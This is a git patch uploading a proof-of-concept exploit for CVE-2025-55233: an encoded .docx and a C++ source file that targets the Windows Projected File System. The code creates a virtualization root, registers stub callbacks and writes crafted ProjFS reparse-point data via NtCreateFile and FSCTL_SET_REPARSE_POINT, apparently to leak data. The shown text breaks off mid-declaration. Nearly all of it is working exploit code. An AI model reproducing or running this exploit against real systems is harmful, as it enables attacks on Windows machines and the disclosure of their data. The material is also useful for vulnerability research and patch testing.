From 9c3e7b363ff1f97e9bcd4335f8fda253be0c82a8 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:53:41 +0000 Subject: [PATCH] Upload files to "CVE-2025-55233" --- CVE-2025-55233/PrjLeak25.docx | Bin 0 -> 13319 bytes CVE-2025-55233/PrjLeank25.cpp | 725 ++++++++++++++++++++++++++++++++++ 2 files changed, 725 insertions(+) create mode 100644 CVE-2025-55233/PrjLeak25.docx create mode 100644 CVE-2025-55233/PrjLeank25.cpp diff --git a/CVE-2025-55233/PrjLeak25.docx b/CVE-2025-55233/PrjLeak25.docx new file mode 100644 index 0000000000000000000000000000000000000000..e4d366d5beb07ab0b6605683e35cb82e36b37101 GIT binary patch literal 13319 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 literal 0 HcmV?d00001 diff --git a/CVE-2025-55233/PrjLeank25.cpp b/CVE-2025-55233/PrjLeank25.cpp new file mode 100644 index 0000000..14e4e60 --- /dev/null +++ b/CVE-2025-55233/PrjLeank25.cpp @@ -0,0 +1,725 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "detours.h" +#pragma comment(lib, "detours.lib") + +PWSTR gProcessPath = NULL; +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + const wchar_t* PrjRootName = LR"(c:\PrjTest)"; + CreateDirectoryW(PrjRootName, nullptr); + + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + DeleteFileW(rootName); + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //GetEnumHandler(callbackData->CommandId); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* 